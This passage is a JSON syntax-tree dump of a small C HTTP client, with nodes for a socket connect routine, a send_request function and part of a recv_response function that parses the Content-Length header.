"=", "text": "=", "parent": 359, "children": [], "start_point": {"row": 81, "column": 27}, "end_point": {"row": 81, "column": 28}}, {"id": 364, "type": "identifier", "text": "AF_INET", "parent": 359, "children": [], "start_point": {"row": 81, "column": 29}, "end_point": {"row": 81, "column": 36}}, {"id": 365, "type": "assignment_expression", "text": "server_addr.sin_port = htons(port)", "parent": 300, "children": [366, 369, 370], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 38}}, {"id": 366, "type": "field_expression", "text": "server_addr.sin_port", "parent": 365, "children": [367, 368], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 24}}, {"id": 367, "type": "identifier", "text": "server_addr", "parent": 366, "children": [], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 15}}, {"id": 368, "type": "field_identifier", "text": "sin_port", "parent": 366, "children": [], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 82, "column": 24}}, {"id": 369, "type": "=", "text": "=", "parent": 365, "children": [], "start_point": {"row": 82, "column": 25}, "end_point": {"row": 82, "column": 26}}, {"id": 370, "type": "call_expression", "text": "htons(port)", "parent": 365, "children": [371, 372], "start_point": {"row": 82, "column": 27}, "end_point": {"row": 82, "column": 38}}, {"id": 371, "type": "identifier", "text": "htons", "parent": 370, "children": [], "start_point": {"row": 82, "column": 27}, "end_point": {"row": 82, "column": 32}}, {"id": 372, "type": "argument_list", "text": "(port)", "parent": 370, "children": [373], "start_point": {"row": 82, "column": 32}, "end_point": {"row": 82, "column": 38}}, {"id": 373, "type": "identifier", "text": "port", "parent": 372, "children": [], "start_point": {"row": 82, "column": 33}, "end_point": {"row": 82, "column": 37}}, {"id": 374, "type": "assignment_expression", "text": "server_addr.sin_addr.s_addr = host", "parent": 300, "children": [375, 380, 381], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 38}}, {"id": 375, "type": "field_expression", "text": "server_addr.sin_addr.s_addr", "parent": 374, "children": [376, 379], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 31}}, {"id": 376, "type": "field_expression", "text": "server_addr.sin_addr", "parent": 375, "children": [377, 378], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 24}}, {"id": 377, "type": "identifier", "text": "server_addr", "parent": 376, "children": [], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 15}}, {"id": 378, "type": "field_identifier", "text": "sin_addr", "parent": 376, "children": [], "start_point": {"row": 83, "column": 16}, "end_point": {"row": 83, "column": 24}}, {"id": 379, "type": "field_identifier", "text": "s_addr", "parent": 375, "children": [], "start_point": {"row": 83, "column": 25}, "end_point": {"row": 83, "column": 31}}, {"id": 380, "type": "=", "text": "=", "parent": 374, "children": [], "start_point": {"row": 83, "column": 32}, "end_point": {"row": 83, "column": 33}}, {"id": 381, "type": "identifier", "text": "host", "parent": 374, "children": [], "start_point": {"row": 83, "column": 34}, "end_point": {"row": 83, "column": 38}}, {"id": 382, "type": "assignment_expression", "text": "ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))", "parent": 300, "children": [383, 384, 385], "start_point": {"row": 85, "column": 4}, "end_point": {"row": 86, "column": 38}}, {"id": 383, "type": "identifier", "text": "ret", "parent": 382, "children": [], "start_point": {"row": 85, "column": 4}, "end_point": {"row": 85, "column": 7}}, {"id": 384, "type": "=", "text": "=", "parent": 382, "children": [], "start_point": {"row": 85, "column": 8}, "end_point": {"row": 85, "column": 9}}, {"id": 385, "type": "call_expression", "text": "connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))", "parent": 382, "children": [386, 387], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 86, "column": 38}}, {"id": 386, "type": "identifier", "text": "connect", "parent": 385, "children": [], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 17}}, {"id": 387, "type": "argument_list", "text": "(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))", "parent": 385, "children": [388, 389, 398], "start_point": {"row": 85, "column": 17}, "end_point": {"row": 86, "column": 38}}, {"id": 388, "type": "identifier", "text": "fd", "parent": 387, "children": [], "start_point": {"row": 85, "column": 18}, "end_point": {"row": 85, "column": 20}}, {"id": 389, "type": "cast_expression", "text": "(const struct sockaddr*)&server_addr", "parent": 387, "children": [390, 396], "start_point": {"row": 85, "column": 22}, "end_point": {"row": 85, "column": 58}}, {"id": 390, "type": "type_descriptor", "text": "const struct sockaddr*", "parent": 389, "children": [391, 394], "start_point": {"row": 85, "column": 23}, "end_point": {"row": 85, "column": 45}}, {"id": 391, "type": "struct_specifier", "text": "struct sockaddr", "parent": 390, "children": [392, 393], "start_point": {"row": 85, "column": 29}, "end_point": {"row": 85, "column": 44}}, {"id": 392, "type": "struct", "text": "struct", "parent": 391, "children": [], "start_point": {"row": 85, "column": 29}, "end_point": {"row": 85, "column": 35}}, {"id": 393, "type": "type_identifier", "text": "sockaddr", "parent": 391, "children": [], "start_point": {"row": 85, "column": 36}, "end_point": {"row": 85, "column": 44}}, {"id": 394, "type": "abstract_pointer_declarator", "text": "*", "parent": 390, "children": [395], "start_point": {"row": 85, "column": 44}, "end_point": {"row": 85, "column": 45}}, {"id": 395, "type": "*", "text": "*", "parent": 394, "children": [], "start_point": {"row": 85, "column": 44}, "end_point": {"row": 85, "column": 45}}, {"id": 396, "type": "pointer_expression", "text": "&server_addr", "parent": 389, "children": [397], "start_point": {"row": 85, "column": 46}, "end_point": {"row": 85, "column": 58}}, {"id": 397, "type": "identifier", "text": "server_addr", "parent": 396, "children": [], "start_point": {"row": 85, "column": 47}, "end_point": {"row": 85, "column": 58}}, {"id": 398, "type": "sizeof_expression", "text": "sizeof(server_addr)", "parent": 387, "children": [399], "start_point": {"row": 86, "column": 18}, "end_point": {"row": 86, "column": 37}}, {"id": 399, "type": "parenthesized_expression", "text": "(server_addr)", "parent": 398, "children": [400], "start_point": {"row": 86, "column": 24}, "end_point": {"row": 86, "column": 37}}, {"id": 400, "type": "identifier", "text": "server_addr", "parent": 399, "children": [], "start_point": {"row": 86, "column": 25}, "end_point": {"row": 86, "column": 36}}, {"id": 401, "type": "if_statement", "text": "if (ret < 0) {\n perror(\"connect\");\n }", "parent": 300, "children": [402], "start_point": {"row": 87, "column": 4}, "end_point": {"row": 89, "column": 5}}, {"id": 402, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 401, "children": [403], "start_point": {"row": 87, "column": 7}, "end_point": {"row": 87, "column": 16}}, {"id": 403, "type": "binary_expression", "text": "ret < 0", "parent": 402, "children": [404, 405, 406], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 15}}, {"id": 404, "type": "identifier", "text": "ret", "parent": 403, "children": [], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 11}}, {"id": 405, "type": "<", "text": "<", "parent": 403, "children": [], "start_point": {"row": 87, "column": 12}, "end_point": {"row": 87, "column": 13}}, {"id": 406, "type": "number_literal", "text": "0", "parent": 403, "children": [], "start_point": {"row": 87, "column": 14}, "end_point": {"row": 87, "column": 15}}, {"id": 407, "type": "call_expression", "text": "perror(\"connect\")", "parent": 401, "children": [408, 409], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 25}}, {"id": 408, "type": "identifier", "text": "perror", "parent": 407, "children": [], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 14}}, {"id": 409, "type": "argument_list", "text": "(\"connect\")", "parent": 407, "children": [410], "start_point": {"row": 88, "column": 14}, "end_point": {"row": 88, "column": 25}}, {"id": 410, "type": "string_literal", "text": "\"connect\"", "parent": 409, "children": [], "start_point": {"row": 88, "column": 15}, "end_point": {"row": 88, "column": 24}}, {"id": 411, "type": "return_statement", "text": "return fd;", "parent": 300, "children": [412], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 14}}, {"id": 412, "type": "identifier", "text": "fd", "parent": 411, "children": [], "start_point": {"row": 90, "column": 11}, "end_point": {"row": 90, "column": 13}}, {"id": 413, "type": "function_definition", "text": "int send_request(int sock, const char* request, int reqlen)\n{\n\tint ret = 0;\n\tprintf(\"send request %d...\\n\", reqlen);\n\tret = send(sock, request, reqlen, 0);\n\tif (ret < 0) {\n\t\tperror(\"send\");\n\t}\n\tprintf(\"%d bytes sent\\n\", ret);\n\treturn ret;\n}", "parent": null, "children": [414, 415], "start_point": {"row": 93, "column": 0}, "end_point": {"row": 103, "column": 1}}, {"id": 414, "type": "primitive_type", "text": "int", "parent": 413, "children": [], "start_point": {"row": 93, "column": 0}, "end_point": {"row": 93, "column": 3}}, {"id": 415, "type": "function_declarator", "text": "send_request(int sock, const char* request, int reqlen)", "parent": 413, "children": [416, 417], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 93, "column": 59}}, {"id": 416, "type": "identifier", "text": "send_request", "parent": 415, "children": [], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 93, "column": 16}}, {"id": 417, "type": "parameter_list", "text": "(int sock, const char* request, int reqlen)", "parent": 415, "children": [418, 421, 426], "start_point": {"row": 93, "column": 16}, "end_point": {"row": 93, "column": 59}}, {"id": 418, "type": "parameter_declaration", "text": "int sock", "parent": 417, "children": [419, 420], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 25}}, {"id": 419, "type": "primitive_type", "text": "int", "parent": 418, "children": [], "start_point": {"row": 93, "column": 17}, "end_point": {"row": 93, "column": 20}}, {"id": 420, "type": "identifier", "text": "sock", "parent": 418, "children": [], "start_point": {"row": 93, "column": 21}, "end_point": {"row": 93, "column": 25}}, {"id": 421, "type": "parameter_declaration", "text": "const char* request", "parent": 417, "children": [422, 423], "start_point": {"row": 93, "column": 27}, "end_point": {"row": 93, "column": 46}}, {"id": 422, "type": "primitive_type", "text": "char", "parent": 421, "children": [], "start_point": {"row": 93, "column": 33}, "end_point": {"row": 93, "column": 37}}, {"id": 423, "type": "pointer_declarator", "text": "* request", "parent": 421, "children": [424, 425], "start_point": {"row": 93, "column": 37}, "end_point": {"row": 93, "column": 46}}, {"id": 424, "type": "*", "text": "*", "parent": 423, "children": [], "start_point": {"row": 93, "column": 37}, "end_point": {"row": 93, "column": 38}}, {"id": 425, "type": "identifier", "text": "request", "parent": 423, "children": [], "start_point": {"row": 93, "column": 39}, "end_point": {"row": 93, "column": 46}}, {"id": 426, "type": "parameter_declaration", "text": "int reqlen", "parent": 417, "children": [427, 428], "start_point": {"row": 93, "column": 48}, "end_point": {"row": 93, "column": 58}}, {"id": 427, "type": "primitive_type", "text": "int", "parent": 426, "children": [], "start_point": {"row": 93, "column": 48}, "end_point": {"row": 93, "column": 51}}, {"id": 428, "type": "identifier", "text": "reqlen", "parent": 426, "children": [], "start_point": {"row": 93, "column": 52}, "end_point": {"row": 93, "column": 58}}, {"id": 429, "type": "declaration", "text": "int ret = 0;", "parent": 413, "children": [430, 431], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 13}}, {"id": 430, "type": "primitive_type", "text": "int", "parent": 429, "children": [], "start_point": {"row": 95, "column": 1}, "end_point": {"row": 95, "column": 4}}, {"id": 431, "type": "init_declarator", "text": "ret = 0", "parent": 429, "children": [432, 433, 434], "start_point": {"row": 95, "column": 5}, "end_point": {"row": 95, "column": 12}}, {"id": 432, "type": "identifier", "text": "ret", "parent": 431, "children": [], "start_point": {"row": 95, "column": 5}, "end_point": {"row": 95, "column": 8}}, {"id": 433, "type": "=", "text": "=", "parent": 431, "children": [], "start_point": {"row": 95, "column": 9}, "end_point": {"row": 95, "column": 10}}, {"id": 434, "type": "number_literal", "text": "0", "parent": 431, "children": [], "start_point": {"row": 95, "column": 11}, "end_point": {"row": 95, "column": 12}}, {"id": 435, "type": "call_expression", "text": "printf(\"send request %d...\\n\", reqlen)", "parent": 413, "children": [436, 437], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 39}}, {"id": 436, "type": "identifier", "text": "printf", "parent": 435, "children": [], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 7}}, {"id": 437, "type": "argument_list", "text": "(\"send request %d...\\n\", reqlen)", "parent": 435, "children": [438, 440], "start_point": {"row": 96, "column": 7}, "end_point": {"row": 96, "column": 39}}, {"id": 438, "type": "string_literal", "text": "\"send request %d...\\n\"", "parent": 437, "children": [439], "start_point": {"row": 96, "column": 8}, "end_point": {"row": 96, "column": 30}}, {"id": 439, "type": "escape_sequence", "text": "\\n", "parent": 438, "children": [], "start_point": {"row": 96, "column": 27}, "end_point": {"row": 96, "column": 29}}, {"id": 440, "type": "identifier", "text": "reqlen", "parent": 437, "children": [], "start_point": {"row": 96, "column": 32}, "end_point": {"row": 96, "column": 38}}, {"id": 441, "type": "assignment_expression", "text": "ret = send(sock, request, reqlen, 0)", "parent": 413, "children": [442, 443, 444], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 37}}, {"id": 442, "type": "identifier", "text": "ret", "parent": 441, "children": [], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 4}}, {"id": 443, "type": "=", "text": "=", "parent": 441, "children": [], "start_point": {"row": 97, "column": 5}, "end_point": {"row": 97, "column": 6}}, {"id": 444, "type": "call_expression", "text": "send(sock, request, reqlen, 0)", "parent": 441, "children": [445, 446], "start_point": {"row": 97, "column": 7}, "end_point": {"row": 97, "column": 37}}, {"id": 445, "type": "identifier", "text": "send", "parent": 444, "children": [], "start_point": {"row": 97, "column": 7}, "end_point": {"row": 97, "column": 11}}, {"id": 446, "type": "argument_list", "text": "(sock, request, reqlen, 0)", "parent": 444, "children": [447, 448, 449, 450], "start_point": {"row": 97, "column": 11}, "end_point": {"row": 97, "column": 37}}, {"id": 447, "type": "identifier", "text": "sock", "parent": 446, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 16}}, {"id": 448, "type": "identifier", "text": "request", "parent": 446, "children": [], "start_point": {"row": 97, "column": 18}, "end_point": {"row": 97, "column": 25}}, {"id": 449, "type": "identifier", "text": "reqlen", "parent": 446, "children": [], "start_point": {"row": 97, "column": 27}, "end_point": {"row": 97, "column": 33}}, {"id": 450, "type": "number_literal", "text": "0", "parent": 446, "children": [], "start_point": {"row": 97, "column": 35}, "end_point": {"row": 97, "column": 36}}, {"id": 451, "type": "if_statement", "text": "if (ret < 0) {\n\t\tperror(\"send\");\n\t}", "parent": 413, "children": [452], "start_point": {"row": 98, "column": 1}, "end_point": {"row": 100, "column": 2}}, {"id": 452, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 451, "children": [453], "start_point": {"row": 98, "column": 4}, "end_point": {"row": 98, "column": 13}}, {"id": 453, "type": "binary_expression", "text": "ret < 0", "parent": 452, "children": [454, 455, 456], "start_point": {"row": 98, "column": 5}, "end_point": {"row": 98, "column": 12}}, {"id": 454, "type": "identifier", "text": "ret", "parent": 453, "children": [], "start_point": {"row": 98, "column": 5}, "end_point": {"row": 98, "column": 8}}, {"id": 455, "type": "<", "text": "<", "parent": 453, "children": [], "start_point": {"row": 98, "column": 9}, "end_point": {"row": 98, "column": 10}}, {"id": 456, "type": "number_literal", "text": "0", "parent": 453, "children": [], "start_point": {"row": 98, "column": 11}, "end_point": {"row": 98, "column": 12}}, {"id": 457, "type": "call_expression", "text": "perror(\"send\")", "parent": 451, "children": [458, 459], "start_point": {"row": 99, "column": 2}, "end_point": {"row": 99, "column": 16}}, {"id": 458, "type": "identifier", "text": "perror", "parent": 457, "children": [], "start_point": {"row": 99, "column": 2}, "end_point": {"row": 99, "column": 8}}, {"id": 459, "type": "argument_list", "text": "(\"send\")", "parent": 457, "children": [460], "start_point": {"row": 99, "column": 8}, "end_point": {"row": 99, "column": 16}}, {"id": 460, "type": "string_literal", "text": "\"send\"", "parent": 459, "children": [], "start_point": {"row": 99, "column": 9}, "end_point": {"row": 99, "column": 15}}, {"id": 461, "type": "call_expression", "text": "printf(\"%d bytes sent\\n\", ret)", "parent": 413, "children": [462, 463], "start_point": {"row": 101, "column": 1}, "end_point": {"row": 101, "column": 31}}, {"id": 462, "type": "identifier", "text": "printf", "parent": 461, "children": [], "start_point": {"row": 101, "column": 1}, "end_point": {"row": 101, "column": 7}}, {"id": 463, "type": "argument_list", "text": "(\"%d bytes sent\\n\", ret)", "parent": 461, "children": [464, 466], "start_point": {"row": 101, "column": 7}, "end_point": {"row": 101, "column": 31}}, {"id": 464, "type": "string_literal", "text": "\"%d bytes sent\\n\"", "parent": 463, "children": [465], "start_point": {"row": 101, "column": 8}, "end_point": {"row": 101, "column": 25}}, {"id": 465, "type": "escape_sequence", "text": "\\n", "parent": 464, "children": [], "start_point": {"row": 101, "column": 22}, "end_point": {"row": 101, "column": 24}}, {"id": 466, "type": "identifier", "text": "ret", "parent": 463, "children": [], "start_point": {"row": 101, "column": 27}, "end_point": {"row": 101, "column": 30}}, {"id": 467, "type": "return_statement", "text": "return ret;", "parent": 413, "children": [468], "start_point": {"row": 102, "column": 1}, "end_point": {"row": 102, "column": 12}}, {"id": 468, "type": "identifier", "text": "ret", "parent": 467, "children": [], "start_point": {"row": 102, "column": 8}, "end_point": {"row": 102, "column": 11}}, {"id": 469, "type": "function_definition", "text": "int recv_response(int sock, char* buffer, int buflen)\n{\n\tchar *p;\n\tint EOH, CL;\n\tint ret, count, content_length;\n\n\tCL = EOH = 0;\n\tcount = 0;\n\tcontent_length = 0;\n\twhile ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n\t\tprintf(\"received %d bytes...\\n\", ret);\n\t\t//hexdump(&buffer[count], ret);\n\t\tcount += ret;\n\t\tif ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n\t\t\tEOH = p - buffer;\n\t\t\tprintf(\"EOH at %d\\n\", EOH);\n\t\t}\n\t\tif ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n\t\t\tCL = p - buffer;\n\t\t\tcontent_length = atoi(p + strlen(CONTENT_LENGTH));\n\t\t\tprintf(\"CL at %d, value: %d\\n\", CL, content_length);\n\t\t}\n\t\tif (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (ret < 0) {\n\t\tperror(\"recv\");\n\t}\n\tbuffer[count] = '\\0';\n\treturn count;\n}", "parent": null, "children": [470, 471], "start_point": {"row": 105, "column": 0}, "end_point": {"row": 136, "column": 1}}, {"id": 470, "type": "primitive_type", "text": "int", "parent": 469, "children": [], "start_point": {"row": 105, "column": 0}, "end_point": {"row": 105, "column": 3}}, {"id": 471, "type": "function_declarator", "text": "recv_response(int sock, char* buffer, int buflen)", "parent": 469, "children": [472, 473], "start_point": {"row": 105, "column": 4}, "end_point": {"row": 105, "column": 53}}, {"id": 472, "type": "identifier", "text": "recv_response", "parent": 471, "children": [], "start_point": {"row": 105, "column": 4}, "end_point": {"row": 105, "column": 17}}, {"id": 473, "type": "parameter_list", "text": "(int sock, char* buffer, int buflen)", "parent": 471, "children": [474, 477, 482], "start_point": {"row": 105, "column": 17}, "end_point": {"row": 105, "column": 53}}, {"id": 474, "type": "parameter_declaration", "text": "int sock", "parent": 473, "children": [475, 476], "start_point": {"row": 105, "column": 18}, "end_point": {"row": 105, "column": 26}}, {"id": 475, "type": "primitive_type", "text": "int", "parent": 474, "children": [], "start_point": {"row": 105, "column": 18}, "end_point": {"row": 105, "column": 21}}, {"id": 476, "type": "identifier", "text": "sock", "parent": 474, "children": [], "start_point": {"row": 105, "column": 22}, "end_point": {"row": 105, "column": 26}}, {"id": 477, "type": "parameter_declaration", "text": "char* buffer", "parent": 473, "children": [478, 479], "start_point": {"row": 105, "column": 28}, "end_point": {"row": 105, "column": 40}}, {"id": 478, "type": "primitive_type", "text": "char", "parent": 477, "children": [], "start_point": {"row": 105, "column": 28}, "end_point": {"row": 105, "column": 32}}, {"id": 479, "type": "pointer_declarator", "text": "* buffer", "parent": 477, "children": [480, 481], "start_point": {"row": 105, "column": 32}, "end_point": {"row": 105, "column": 40}}, {"id": 480, "type": "*", "text": "*", "parent": 479, "children": [], "start_point": {"row": 105, "column": 32}, "end_point": {"row": 105, "column": 33}}, {"id": 481, "type": "identifier", "text": "buffer", "parent": 479, "children": [], "start_point": {"row": 105, "column": 34}, "end_point": {"row": 105, "column": 40}}, {"id": 482, "type": "parameter_declaration", "text": "int buflen", "parent": 473, "children": [483, 484], "start_point": {"row": 105, "column": 42}, "end_point": {"row": 105, "column": 52}}, {"id": 483, "type": "primitive_type", "text": "int", "parent": 482, "children": [], "start_point": {"row": 105, "column": 42}, "end_point": {"row": 105, "column": 45}}, {"id": 484, "type": "identifier", "text": "buflen", "parent": 482, "children": [], "start_point": {"row": 105, "column": 46}, "end_point": {"row": 105, "column": 52}}, {"id": 485, "type": "declaration", "text": "char *p;", "parent": 469, "children": [486, 487], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 9}}, {"id": 486, "type": "primitive_type", "text": "char", "parent": 485, "children": [], "start_point": {"row": 107, "column": 1}, "end_point": {"row": 107, "column": 5}}, {"id": 487, "type": "pointer_declarator", "text": "*p", "parent": 485, "children": [488, 489], "start_point": {"row": 107, "column": 6}, "end_point": {"row": 107, "column": 8}}, {"id": 488, "type": "*", "text": "*", "parent": 487, "children": [], "start_point": {"row": 107, "column": 6}, "end_point": {"row": 107, "column": 7}}, {"id": 489, "type": "identifier", "text": "p", "parent": 487, "children": [], "start_point": {"row": 107, "column": 7}, "end_point": {"row": 107, "column": 8}}, {"id": 490, "type": "declaration", "text": "int EOH, CL;", "parent": 469, "children": [491, 492, 493], "start_point": {"row": 108, "column": 1}, "end_point": {"row": 108, "column": 13}}, {"id": 491, "type": "primitive_type", "text": "int", "parent": 490, "children": [], "start_point": {"row": 108, "column": 1}, "end_point": {"row": 108, "column": 4}}, {"id": 492, "type": "identifier", "text": "EOH", "parent": 490, "children": [], "start_point": {"row": 108, "column": 5}, "end_point": {"row": 108, "column": 8}}, {"id": 493, "type": "identifier", "text": "CL", "parent": 490, "children": [], "start_point": {"row": 108, "column": 10}, "end_point": {"row": 108, "column": 12}}, {"id": 494, "type": "declaration", "text": "int ret, count, content_length;", "parent": 469, "children": [495, 496, 497, 498], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 32}}, {"id": 495, "type": "primitive_type", "text": "int", "parent": 494, "children": [], "start_point": {"row": 109, "column": 1}, "end_point": {"row": 109, "column": 4}}, {"id": 496, "type": "identifier", "text": "ret", "parent": 494, "children": [], "start_point": {"row": 109, "column": 5}, "end_point": {"row": 109, "column": 8}}, {"id": 497, "type": "identifier", "text": "count", "parent": 494, "children": [], "start_point": {"row": 109, "column": 10}, "end_point": {"row": 109, "column": 15}}, {"id": 498, "type": "identifier", "text": "content_length", "parent": 494, "children": [], "start_point": {"row": 109, "column": 17}, "end_point": {"row": 109, "column": 31}}, {"id": 499, "type": "assignment_expression", "text": "CL = EOH = 0", "parent": 469, "children": [500, 501, 502], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 13}}, {"id": 500, "type": "identifier", "text": "CL", "parent": 499, "children": [], "start_point": {"row": 111, "column": 1}, "end_point": {"row": 111, "column": 3}}, {"id": 501, "type": "=", "text": "=", "parent": 499, "children": [], "start_point": {"row": 111, "column": 4}, "end_point": {"row": 111, "column": 5}}, {"id": 502, "type": "assignment_expression", "text": "EOH = 0", "parent": 499, "children": [503, 504, 505], "start_point": {"row": 111, "column": 6}, "end_point": {"row": 111, "column": 13}}, {"id": 503, "type": "identifier", "text": "EOH", "parent": 502, "children": [], "start_point": {"row": 111, "column": 6}, "end_point": {"row": 111, "column": 9}}, {"id": 504, "type": "=", "text": "=", "parent": 502, "children": [], "start_point": {"row": 111, "column": 10}, "end_point": {"row": 111, "column": 11}}, {"id": 505, "type": "number_literal", "text": "0", "parent": 502, "children": [], "start_point": {"row": 111, "column": 12}, "end_point": {"row": 111, "column": 13}}, {"id": 506, "type": "assignment_expression", "text": "count = 0", "parent": 469, "children": [507, 508, 509], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 10}}, {"id": 507, "type": "identifier", "text": "count", "parent": 506, "children": [], "start_point": {"row": 112, "column": 1}, "end_point": {"row": 112, "column": 6}}, {"id": 508, "type": "=", "text": "=", "parent": 506, "children": [], "start_point": {"row": 112, "column": 7}, "end_point": {"row": 112, "column": 8}}, {"id": 509, "type": "number_literal", "text": "0", "parent": 506, "children": [], "start_point": {"row": 112, "column": 9}, "end_point": {"row": 112, "column": 10}}, {"id": 510, "type": "assignment_expression", "text": "content_length = 0", "parent": 469, "children": [511, 512, 513], "start_point": {"row": 113, "column": 1}, "end_point": {"row": 113, "column": 19}}, {"id": 511, "type": "identifier", "text": "content_length", "parent": 510, "children": [], "start_point": {"row": 113, "column": 1}, "end_point": {"row": 113, "column": 15}}, {"id": 512, "type": "=", "text": "=", "parent": 510, "children": [], "start_point": {"row": 113, "column": 16}, "end_point": {"row": 113, "column": 17}}, {"id": 513, "type": "number_literal", "text": "0", "parent": 510, "children": [], "start_point": {"row": 113, "column": 18}, "end_point": {"row": 113, "column": 19}}, {"id": 514, "type": "while_statement", "text": "while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n\t\tprintf(\"received %d bytes...\\n\", ret);\n\t\t//hexdump(&buffer[count], ret);\n\t\tcount += ret;\n\t\tif ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n\t\t\tEOH = p - buffer;\n\t\t\tprintf(\"EOH at %d\\n\", EOH);\n\t\t}\n\t\tif ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n\t\t\tCL = p - buffer;\n\t\t\tcontent_length = atoi(p + strlen(CONTENT_LENGTH));\n\t\t\tprintf(\"CL at %d, value: %d\\n\", CL, content_length);\n\t\t}\n\t\tif (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n\t\t\tbreak;\n\t\t}\n\t}", "parent": 469, "children": [515], "start_point": {"row": 114, "column": 1}, "end_point": {"row": 130, "column": 2}}, {"id": 515, "type": "parenthesized_expression", "text": "((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0)", "parent": 514, "children": [516], "start_point": {"row": 114, "column": 7}, "end_point": {"row": 114, "column": 66}}, {"id": 516, "type": "binary_expression", "text": "(ret = recv(sock, &buffer[count], buflen - count, 0)) > 0", "parent": 515, "children": [517, 534, 535], "start_point": {"row": 114, "column": 8}, "end_point": {"row": 114, "column": 65}}, {"id": 517, "type": "parenthesized_expression", "text": "(ret = recv(sock, &buffer[count], buflen - count, 0))", "parent": 516, "children": [518], "start_point": {"row": 114, "column": 8}, "end_point": {"row": 114, "column": 61}}, {"id": 518, "type": "assignment_expression", "text": "ret = recv(sock, &buffer[count], buflen - count, 0)", "parent": 517, "children": [519, 520, 521], "start_point": {"row": 114, "column": 9}, "end_point": {"row": 114, "column": 60}}, {"id": 519, "type": "identifier", "text": "ret", "parent": 518, "children": [], "start_point": {"row": 114, "column": 9}, "end_point": {"row": 114, "column": 12}}, {"id": 520, "type": "=", "text": "=", "parent": 518, "children": [], "start_point": {"row": 114, "column": 13}, "end_point": {"row": 114, "column": 14}}, {"id": 521, "type": "call_expression", "text": "recv(sock, &buffer[count], buflen - count, 0)", "parent": 518, "children": [522, 523], "start_point": {"row": 114, "column": 15}, "end_point": {"row": 114, "column": 60}}, {"id": 522, "type": "identifier", "text": "recv", "parent": 521, "children": [], "start_point": {"row": 114, "column": 15}, "end_point": {"row": 114, "column": 19}}, {"id": 523, "type": "argument_list", "text": "(sock, &buffer[count], buflen - count, 0)", "parent": 521, "children": [524, 525, 529, 533], "start_point": {"row": 114, "column": 19}, "end_point": {"row": 114, "column": 60}}, {"id": 524, "type": "identifier", "text": "sock", "parent": 523, "children": [], "start_point": {"row": 114, "column": 20}, "end_point": {"row": 114, "column": 24}}, {"id": 525, "type": "pointer_expression", "text": "&buffer[count]", "parent": 523, "children": [526], "start_point": {"row": 114, "column": 26}, "end_point": {"row": 114, "column": 40}}, {"id": 526, "type": "subscript_expression", "text": "buffer[count]", "parent": 525, "children": [527, 528], "start_point": {"row": 114, "column": 27}, "end_point": {"row": 114, "column": 40}}, {"id": 527, "type": "identifier", "text": "buffer", "parent": 526, "children": [], "start_point": {"row": 114, "column": 27}, "end_point": {"row": 114, "column": 33}}, {"id": 528, "type": "identifier", "text": "count", "parent": 526, "children": [], "start_point": {"row": 114, "column": 34}, "end_point": {"row": 114, "column": 39}}, {"id": 529, "type": "binary_expression", "text": "buflen - count", "parent": 523, "children": [530, 531, 532], "start_point": {"row": 114, "column": 42}, "end_point": {"row": 114, "column": 56}}, {"id": 530, "type": "identifier", "text": "buflen", "parent": 529, "children": [], "start_point": {"row": 114, "column": 42}, "end_point": {"row": 114, "column": 48}}, {"id": 531, "type": "-", "text": "-", "parent": 529, "children": [], "start_point": {"row": 114, "column": 49}, "end_point": {"row": 114, "column": 50}}, {"id": 532, "type": "identifier", "text": "count", "parent": 529, "children": [], "start_point": {"row": 114, "column": 51}, "end_point": {"row": 114, "column": 56}}, {"id": 533, "type": "number_literal", "text": "0", "parent": 523, "children": [], "start_point": {"row": 114, "column": 58}, "end_point": {"row": 114, "column": 59}}, {"id": 534, "type": ">", "text": ">", "parent": 516, "children": [], "start_point": {"row": 114, "column": 62}, "end_point": {"row": 114, "column": 63}}, {"id": 535, "type": "number_literal", "text": "0", "parent": 516, "children": [], "start_point": {"row": 114, "column": 64}, "end_point": {"row": 114, "column": 65}}, {"id": 536, "type": "call_expression", "text": "printf(\"received %d bytes...\\n\", ret)", "parent": 514, "children": [537, 538], "start_point": {"row": 115, "column": 2}, "end_point": {"row": 115, "column": 39}}, {"id": 537, "type": "identifier", "text": "printf", "parent": 536, "children": [], "start_point": {"row": 115, "column": 2}, 